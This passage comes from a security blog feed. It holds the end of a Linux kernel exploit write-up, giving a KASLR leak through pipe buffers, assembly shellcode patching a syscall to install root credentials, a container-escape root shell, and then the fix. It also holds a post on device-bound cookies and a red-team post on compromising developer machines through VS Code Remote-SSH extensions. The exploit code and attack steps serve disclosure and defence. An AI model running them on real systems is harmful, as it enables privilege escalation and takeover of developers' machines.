    unsigned int flags;
    unsigned long private;
};  // 40 bytes</code></pre></div><p>The ops field is a pointer to anon_pipe_buf_ops, a static const struct in the kernel&#8217;s .data section. Its address is always at a fixed offset from the kernel base &#8212; in the target kernel, 0x1c4a600 bytes from the base. KASLR shifts the entire kernel image, so the absolute address changes each boot, but the lower 24 bits (0xc4a600) remain constant because KASLR only randomizes the upper bits. The exploit uses these lower bits as a signature to recognize a valid pipe_buffer.</p><p>The pipe buffer array is allocated via kcalloc(nr_slots, sizeof(struct pipe_buffer)) when the pipe is created or resized. The number of slots is controlled by fcntl(F_SETPIPE_SZ), which sets the pipe&#8217;s capacity in bytes &#8212; the kernel rounds this up to the nearest power-of-two number of pages, then allocates that many pipe_buffer entries. Crucially, the ops field is only populated when data is actually written to the pipe &#8212; an empty pipe has zeroed pipe_buffer entries.</p><h4>The technique</h4><p>The exploit runs a retry loop:</p><p><strong>Step 1: Leak a page address.</strong> Using the same allocate-read-free pattern from Stage 3 &#8212; create a temporary xattr via setxattr(), read the manipulated xattr&#8217;s rb_node.rb_right or rb_node.rb_left to get the new xattr&#8217;s kernel address (pipe_buffer_addr), then removexattr() to free it. The freed page goes back to the order-2 freelist.</p><p><strong>Step 2: Reclaim with a pipe buffer array.</strong> Create a pipe with pipe2(pipe_fd, O_DIRECT) and resize it:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;edc0c9d2-effa-4f50-b032-d7171cd17c44&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">fcntl(pipe_fd[0], F_SETPIPE_SZ, 256 * PAGE_SIZE);</code></pre></div><p>This tells the kernel to allocate 256 pipe_buffer entries: 256 &#215; 40 = 10,240 bytes, which exceeds kmalloc-8k and falls through to the page allocator, served from order-2 pages (16 KB) &#8212; the same page order as the just-freed xattr. If the pipe buffer array lands on the just freed page, the exploit now has a pipe_buffer array at a known kernel address.</p><p><strong>Step 3: Populate the ops pointer.</strong> Write data to the pipe to fill in the first pipe_buffer entry:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;77d4a49e-4378-4478-94ef-b3b03d0f2111&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">write(pipe_fd[1], &#8220;fillin_pipe_buffer&#8221;, 18);</code></pre></div><p>Before this write, the pipe_buffer entries are zeroed (from kcalloc). After the write, the first entry&#8217;s page points to a data page, ops points to anon_pipe_buf_ops, and len reflects the data length.</p><p><strong>Step 4: Read and identify.</strong> Use the arbitrary page read primitive from Stage 3 to map the leaked page address:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;cad87eb5-621e-4dae-a1a1-60f30834af82&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">void *mem = abr_page_read_write_primitive_mmap(primitive, pipe_buffer_addr);</code></pre></div><p>Then check if the data looks like a pipe_buffer. The heuristic checks two things: page must be a valid kernel pointer (upper 16 bits = 0xFFFF), and ops must have the right lower 24 bits matching anon_pipe_buf_ops. If both match, this is almost certainly a real pipe_buffer.</p><p><strong>Step 5: Calculate the kernel base.</strong></p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;4eb4cb45-9ca1-477b-95bc-b03d5cfd15de&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">kernel_base = (u64)pipe_buffer-&gt;ops - anon_pipe_buf_ops_offset_from_kernel_base;
// kernel_base = ops - 0x1c4a600</code></pre></div><p>If the reclamation failed (the pipe buffer array didn&#8217;t land on the leaked page, or the data doesn&#8217;t match), the exploit closes the pipe and retries from Step 1. Once the kernel base is known, the exploit can compute the absolute addresses of init_cred, init_fs, __do_sys_kcmp, and __x86_return_thunk &#8212; everything needed for Stage 5.</p><h3>Stage 5: Privilege Escalation via Syscall Patching</h3><p>With the kernel base known and arbitrary page write available, the exploit overwrites the __do_sys_kcmp syscall handler with custom shellcode:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;d280aec2-791f-4cb9-8061-830af6416fca&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">mov rax, QWORD PTR gs:0x20c80     ; current task_struct
shl rdi, 32                       ; reconstruct init_cred from
shl rsi, 32                       ;   arg1 (high 32 bits) and
shr rsi, 32                       ;   arg2 (low 32 bits)
or  rdi, rsi
mov QWORD PTR [rax + 0x7d0], rdi  ; task-&gt;real_cred = init_cred
mov QWORD PTR [rax + 0x7d8], rdi  ; task-&gt;cred = init_cred
mov QWORD PTR [rax + 0x828], rcx  ; task-&gt;fs = init_fs
jmp r8                            ; return via __x86_return_thunk</code></pre></div><p>The shellcode passes init_cred and init_fs addresses through syscall arguments (encoded across rdi/rsi/rcx/r8), replacing the calling process&#8217;s credentials with init_cred (root) and its filesystem namespace with init_fs (escaping the container). One syscall(SYS_kcmp, ...) call and the process is root with access to the host filesystem:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;ff7436e5-cb7e-4c99-b7a8-11170408180d&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">syscall(SYS_kcmp,
    (u32)(init_cred &gt;&gt; 32), (u32)(init_cred),
    -1, init_fs, __x86_return_thunk);
execve(&#8221;/bin/sh&#8221;, sh_args, NULL);  // root shell</code></pre></div><h2>The Fix</h2><p>The fix is elegant &#8212; just two lines of logic change in packet_set_ring(), mirroring an earlier fix (commit 15fe076edea7):</p><p><strong>Before (vulnerable)</strong>:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;19e0fc93-4179-41cf-b865-262df1fdec8b&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">```c
spin_lock(&amp;po-&gt;bind_lock);
was_running = packet_sock_flag(po, PACKET_SOCK_RUNNING);
num = po-&gt;num;
if (was_running) {
    WRITE_ONCE(po-&gt;num, 0);        // conditional!
    __unregister_prot_hook(sk, false);
}
spin_unlock(&amp;po-&gt;bind_lock);
// ... critical section ...
spin_lock(&amp;po-&gt;bind_lock);
if (was_running) {
    WRITE_ONCE(po-&gt;num, num);      // conditional!
    register_prot_hook(sk);
}
spin_unlock(&amp;po-&gt;bind_lock);</code></pre></div><p><strong>After (fixed)</strong>:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;70b4f3eb-b3e5-46bb-9e35-45f467d6fb69&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">spin_lock(&amp;po-&gt;bind_lock);
was_running = packet_sock_flag(po, PACKET_SOCK_RUNNING);
num = po-&gt;num;
WRITE_ONCE(po-&gt;num, 0);            // unconditional!
if (was_running)
    __unregister_prot_hook(sk, false);
spin_unlock(&amp;po-&gt;bind_lock);
// ... critical section ...
spin_lock(&amp;po-&gt;bind_lock);
WRITE_ONCE(po-&gt;num, num);          // unconditional!
if (was_running)
    register_prot_hook(sk);
spin_unlock(&amp;po-&gt;bind_lock);</code></pre></div><p>By <em>unconditionally</em> zeroing po-&gt;num before releasing bind_lock, the fix ensures that packet_notifier()&#8217;s NETDEV_UP handler will see po-&gt;num == 0 and skip the register_prot_hook() call. The socket cannot be re-hooked during the critical window, regardless of whether it was running. The po-&gt;num value is unconditionally restored afterward.</p><h2>Takeaways</h2><h3>For Kernel Developers</h3><ol><li><p><strong>Be defensive about lock gaps.</strong> When code releases one lock and acquires another, consider what invariants might be violated in the gap. The fix here is instructive: even though zeroing po-&gt;num seemed unnecessary when the socket wasn&#8217;t running, it was the only safe choice because external events (netdev notifications) could observe the intermediate state.</p></li></ol><ol start="2"><li><p><strong>Conditional state updates are subtle.</strong> The original code&#8217;s if (was_running) guard on WRITE_ONCE(po-&gt;num, 0) made logical sense (&#8221;why zero it if it&#8217;s not running?&#8221;) but created a security hole. When state is used for synchronization across concurrent code paths, <strong>always set it to the safe value, not just when you think it matters</strong>.</p></li></ol><ol start="3"><li><p><strong>TPACKET_V3 metadata survives ring buffer free.</strong> The prb_bdqc structure retains stale pointers after packet_set_ring() frees the ring buffer. While fixing the race condition prevents the UAF, this stale metadata is a defense-in-depth concern.</p></li></ol><h3>For Security Researchers</h3><ol><li><p><strong>Look for sleeping mutex holders.</strong> The central insight of this exploit is a bug-finding pattern: find code sequences with a lock gap (release lock A, acquire lock B), then look for any code path that holds lock B and can sleep. Mutexes, unlike spinlocks, allow the holder to sleep, and kernel code is full of wait_for_completion(), schedule(), copy_from_user(), and similar calls inside mutex-protected sections. If you can trigger such a path, you&#8217;ve turned a nanosecond race into a controllable one.</p></li></ol><ol start="2"><li><p><strong>Conditional logic near locks is a smell.</strong> Any time you see a conditional that determines whether synchronization state is updated, ask: &#8220;What happens if the condition is false but some other code path is observing this state?&#8221; The if (was_running) pattern that caused this vulnerability is a recurring motif in kernel race conditions.</p></li></ol><ol start="3"><li><p><strong>Page allocator buddy splitting enables cross-order heap grooming.</strong> The exploit leverages the buddy allocator&#8217;s splitting behavior: when order-2 pages are exhausted, the allocator splits order-3 pages. This is used to place simple_xattr objects (order 2) adjacent to ring buffer blocks (order 3 for victim, order 2 for reclamation). Understanding buddy allocator behavior is essential for modern kernel exploitation.</p></li></ol><ol start="4"><li><p><strong>Multiple races can be chained.</strong> This exploit wins two separate races, each with different techniques (deterministic mutex holding for the first, BPF filter + timer interrupt for the second). The willingness to chain multiple probabilistic steps, retrying on failure, is what makes the full exploit chain possible.</p></li></ol><ol start="5"><li><p><strong>Modern mitigations increase complexity but don&#8217;t prevent exploitation.</strong> As described in the Background section, CONFIG_RANDOM_KMALLOC_CACHES and CONFIG_SLAB_VIRTUAL forced the exploit to use same-callsite allocations (ring buffers to reclaim ring buffers) rather than arbitrary cross-cache attacks. The entire exploit architecture &#8212; from using TX ring buffers to reclaim freed RX ring buffers, to spraying pgv arrays to corrupt other pgv arrays &#8212; is shaped by this constraint. It raises the bar significantly but, as demonstrated, does not stop a determined attacker with a sufficiently powerful vulnerability.</p></li></ol>]]></content:encoded></item><item><title><![CDATA[A history of device-bound cookies]]></title><description><![CDATA[The recent announcement from Google about Device Bound Session Credentials (DBSC) sent me down memory lane.]]></description><link>https://blog.calif.io/p/a-history-of-device-bound-cookies</link><guid isPermaLink="false">https://blog.calif.io/p/a-history-of-device-bound-cookies</guid><dc:creator><![CDATA[Thai Duong]]></dc:creator><pubDate>Sun, 24 Aug 2025 10:47:12 GMT</pubDate><content:encoded><![CDATA[<p>The recent <a href="https://workspace.google.com/blog/identity-and-security/defending-against-account-takeovers-top-threats-passkeys-and-dbsc">announcement</a> from Google about Device Bound Session Credentials (<a href="https://github.com/w3c/webappsec-dbsc">DBSC</a>) sent me down memory lane.</p><p>Back when several TLS attacks were discovered, attacks that could let remote adversaries decrypt HTTPS cookies, I went searching for a stronger defense.</p><p>That is when I ran into <a href="https://www.linkedin.com/in/dirk-balfanz-7885852/?lipi=urn%3Ali%3Apage%3Ad_flagship3_detail_base%3BAGA6SJ0uTCO%2BvntGxbrgJQ%3D%3D">Dirk Balfanz</a>. He told me about Channel ID, or Channel-Bound Cookies. Dirk was one of the inventors of the security key, which I still consider one of the best security inventions of the past twenty years. When he spoke about authentication, I paid close attention.</p><p>Channel ID worked by giving each client machine a unique public key. During the TLS handshake, the client proved possession of the matching private key through a TLS extension. In effect, it was like TLS client authentication, only simpler because it avoided the complexity of renegotiation and certificates.</p><p>Cookies issued to the machine would then be bound to that machine ID. If the private key lived inside a security key or a TPM, the cookies could only be used on that specific machine. In theory, cookie theft would no longer be possible.</p><p>I loved the idea and volunteered to help make it real. That required changes in both Chrome and Google Accounts, the enormous authentication system behind all Google products. Google was so open at the time that a random engineer like me could contribute code, with reviews of course, to such critical infrastructure.</p><p>Most of my time, however, went into debugging. There were endless false positives. Broken TLS setups would cause machine IDs to change, and the server would mistakenly flag legitimate sessions as stolen cookies.</p><p>The deeper problem was that we could not find a single confirmed case of a Googler&#8217;s cookies being stolen. Maybe it never happened during the quarters I poured myself into the project. Or maybe it did, and those signals were simply lost in a flood of false alerts.</p><p>This was my 20% project. And when a 20% project stalls, you pick another. <a href="https://x.com/sirdarckcat?lang=en">Eduardo</a> soon asked me to implement PGP in JavaScript, which sounded much more fun than wrestling with TLS handshakes, so I told Dirk I was moving on.</p><blockquote><p>The Channel ID project failed, but it taught me a lasting lesson: security is not just about finding vulnerabilities. Real impact comes from building secure products and a safer Internet. Bug hunting is only one path. Security engineers must also fix issues and design systems that neutralize whole classes of flaws. This belief continues to guide our work at Calif.</p></blockquote><p>Fast forward to today. The new DBSC proposal has the same goal as Channel ID, stopping cookie theft by binding cookies to machines, but with important differences. Instead of anchoring the machine ID in TLS, it shifts up the stack to HTTP. And instead of a single machine ID across all connections to a domain, which could become a tracking vector, it uses unique session IDs managed with simple HTTP requests and responses.</p><p>And apparently, this simple design works!</p>]]></content:encoded></item><item><title><![CDATA[“Vibe Hacking”: Abusing Developer Trust in Cursor and VS Code Remote Development]]></title><description><![CDATA[Update: Mauro Soria pointed out that this attack vector can be easily adapted for phishing scenarios:]]></description><link>https://blog.calif.io/p/vibe-hacking-abusing-developer-trust</link><guid isPermaLink="false">https://blog.calif.io/p/vibe-hacking-abusing-developer-trust</guid><pubDate>Mon, 18 Aug 2025 10:27:47 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!mvoF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ea069d7-0204-4e1e-be88-35fe95a38bf3_1600x466.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Update</strong>: <a href="https://www.linkedin.com/in/mauro-soria-63268b22/">Mauro Soria</a> pointed out that this attack vector can be easily adapted for phishing scenarios:</p><ol><li><p>Share a GitHub repo</p></li><li><p>Give some instructions to access the attacker server with Cursor or VS Code.</p></li></ol><p>Basically, if you click on something like <a href="http://vscode://vscode-remote/ssh-remote+user@hostname/home/user/project">vscode://vscode-remote/ssh-remote+user@hostname/home/user/project</a> to open VS Code, you might get popped!</p><p>In a recent red team engagement, the client's attack surface was so well-defended that after months of effort, the only system we managed to compromise was a lone server, which was apparently isolated from the rest of the network. Or so we thought.</p><p>One developer had been using that server for <a href="https://code.visualstudio.com/docs/remote/remote-overview">remote development</a> with <a href="https://cursor.com/">Cursor</a>. This setup is becoming increasingly popular: developers run AI agents remotely to protect their local machines.</p><p>But when we dug deeper into how Cursor works, we discovered something unsettling. By pivoting through the remote server, we could actually compromise the developer's local machine.</p><p>This wasn't a Cursor-specific flaw. The root cause lies in the Remote-SSH extension that Cursor inherits directly from VS Code. Which means the attack path we uncovered could extend across the entire VS Code remote development ecosystem, putting any developer who connects to an untrusted server at risk.</p><p>On the Remote-SSH extension <a href="https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-ssh">page</a>, Microsoft states:</p><blockquote><p><em>Only use Remote-SSH to connect to secure remote machines that you trust and that are owned by a party whom you trust. A compromised remote could use the VS Code Remote connection to execute code on your local machine.</em></p></blockquote><p>Despite clear warnings, a dangerous misconception persists among developers that "remote development" is fully isolated on the server. This belief is increasingly common as developers use remote environments as "sandboxes" to safely run AI agents without risking their local machines.</p><p>Given this powerful use case, the assumption of total isolation is understandable. However, Microsoft has <a href="https://github.com/microsoft/vscode-remote-release/issues/6608#issuecomment-1112960548">suggested</a> that no changes will be made to enhance the extension's safety to meet this expectation. This raises a critical question: how hard is it for your machine to be compromised if you connect to an untrusted server?</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!mvoF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ea069d7-0204-4e1e-be88-35fe95a38bf3_1600x466.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!mvoF!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ea069d7-0204-4e1e-be88-35fe95a38bf3_1600x466.jpeg 424w, https://substackcdn.com/image/fetch/$s_!mvoF!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ea069d7-0204-4e1e-be88-35fe95a38bf3_1600x466.jpeg 848w, https://substackcdn.com/image/fetch/$s_!mvoF!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ea069d7-0204-4e1e-be88-35fe95a38bf3_1600x466.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!mvoF!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ea069d7-0204-4e1e-be88-35fe95a38bf3_1600x466.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!mvoF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ea069d7-0204-4e1e-be88-35fe95a38bf3_1600x466.jpeg" width="1456" height="424" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1ea069d7-0204-4e1e-be88-35fe95a38bf3_1600x466.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:424,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!mvoF!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ea069d7-0204-4e1e-be88-35fe95a38bf3_1600x466.jpeg 424w, https://substackcdn.com/image/fetch/$s_!mvoF!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ea069d7-0204-4e1e-be88-35fe95a38bf3_1600x466.jpeg 848w, https://substackcdn.com/image/fetch/$s_!mvoF!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ea069d7-0204-4e1e-be88-35fe95a38bf3_1600x466.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!mvoF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ea069d7-0204-4e1e-be88-35fe95a38bf3_1600x466.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The answer: it's easy. <strong>Once the server is hacked, you are hacked as well</strong>. <a href="https://fly.io/blog/vscode-ssh-wtf/">Thomas Ptacek</a> outlined several attack paths, and our research uncovered a method to compromise the client without delving into low-level details. Our attack works in the default settings of Cursor or VS Code.</p><p>When you connect to a remote development server, a malicious extension on the server can execute the <a href="https://github.com/microsoft/vscode/blob/3f71dc0d8e0c8fdebc22f023909a6c19c5b50145/src/vs/workbench/contrib/terminal/electron-browser/terminalRemote.ts#L17">workbench.action.terminal.newLocal</a> command to open a terminal on your local machine. This is a terminal on your local machine, not the server. Once the terminal is open, the extension can execute the <a href="http://workbench.action.terminal.sendsequence">workbench.action.terminal.sendSequence</a> command to send text to the terminal and get it executed with a new line character (as if pressing Enter). We can also leverage another feature to establish a seamless Command &amp; Control channel between the server and the local machine, but that is beyond the scope of this post.</p><div class="native-video-embed" data-component-name="VideoPlaceholder" data-attrs="{&quot;mediaUploadId&quot;:&quot;77ef9934-782e-4e27-aa41-953402dcf13a&quot;,&quot;duration&quot;:null}"></div><p>Our goal in publishing this post is to raise awareness of the risks of remote development and to call for improvements that address the root causes of this issue. Monitoring the <strong>~/.cursor-server</strong> directory for changes can serve as a workaround, but it offers limited protection if the server is fully compromised. Securing the Remote-SSH extension is a better approach. For example, requiring user approval when a remote extension attempts to open a new local terminal or send keys to an active local terminal would help block the described attack. As there might be other attack vectors, fixing this issue entirely will take significant effort. A good direction is to move toward secure-by-default designs that don&#8217;t rely on users making trust decisions.</p><p>Contributors: Tuyen Le, An Nguyen, Khanh Pham</p>]]></content:encoded></item><item><title><![CDATA[Partnering with Google to Strengthen Open-Source Crypto: An Mbed TLS Security Audit]]></title><description><![CDATA[By Linh Le and Ngan Nguyen]]></description><link>https://blog.calif.io/p/partnering-with-google-to-strengthen</link><guid isPermaLink="false">https://blog.calif.io/p/partnering-with-google-to-strengthen</guid><pubDate>Sat, 05 Jul 2025 03:15:45 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!cETj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe6c6ae32-4bb1-4819-aa01-ef166530f080_1472x1238.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!cETj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe6c6ae32-4bb1-4819-aa01-ef166530f080_1472x1238.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!cETj!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe6c6ae32-4bb1-4819-aa01-ef166530f080_1472x1238.png 424w, https://substackcdn.com/image/fetch/$s_!cETj!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe6c6ae32-4bb1-4819-aa01-ef166530f080_1472x1238.png 848w, https://substackcdn.com/image/fetch/$s_!cETj!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe6c6ae32-4bb1-4819-aa01-ef166530f080_1472x1238.png 1272w, https://substackcdn.com/image/fetch/$s_!cETj!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe6c6ae32-4bb1-4819-aa01-ef166530f080_1472x1238.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!cETj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe6c6ae32-4bb1-4819-aa01-ef166530f080_1472x1238.png" width="1456" height="1225" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e6c6ae32-4bb1-4819-aa01-ef166530f080_1472x1238.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1225,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:729593,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.calif.io/i/167563472?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe6c6ae32-4bb1-4819-aa01-ef166530f080_1472x1238.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!cETj!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe6c6ae32-4bb1-4819-aa01-ef166530f080_1472x1238.png 424w, https://substackcdn.com/image/fetch/$s_!cETj!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe6c6ae32-4bb1-4819-aa01-ef166530f080_1472x1238.png 848w, https://substackcdn.com/image/fetch/$s_!cETj!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe6c6ae32-4bb1-4819-aa01-ef166530f080_1472x1238.png 1272w, https://substackcdn.com/image/fetch/$s_!cETj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe6c6ae32-4bb1-4819-aa01-ef166530f080_1472x1238.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><h3><strong>Partnering with Google to Strengthen Open-Source Crypto: An Mbed TLS Security Audit</strong></h3><p>We're excited to share the results of a deep-dive security audit into <a href="https://github.com/Mbed-TLS/mbedtls">Mbed TLS</a> version 3.6.2, conducted in close collaboration with Google.</p><p>Mbed TLS is a C library that implements cryptographic primitives, X.509 certificate manipulation and the SSL/TLS and DTLS protocols. Its small code footprint makes it suitable for embedded systems.</p><p>As part of their ongoing commitment to securing the Internet's foundational software, Google Security Team commissioned Calif to proactively identify and fix potential vulnerabilities in the widely used open-source crypto library.</p><p>The assessment identified five vulnerabilities: one 'High' severity and four 'Medium' severity. All findings were disclosed to the Mbed TLS team in April 2025. We worked  with the Mbed TLS developers to ensure all vulnerabilities were understood, prioritized, and patched effectively. We're pleased to report that all identified issues have been addressed.</p><h3><strong>Vulnerabilities Addressed</strong></h3><p>Here is a list of the key vulnerabilities found during the assessment, along with links to the official Mbed TLS advisories and their assigned CVE numbers.</p><ul><li><p>(High) Misleading memory management in X.509 name parsing leading to arbitrary code execution</p><ul><li><p>CVE-2025-47917 | <a 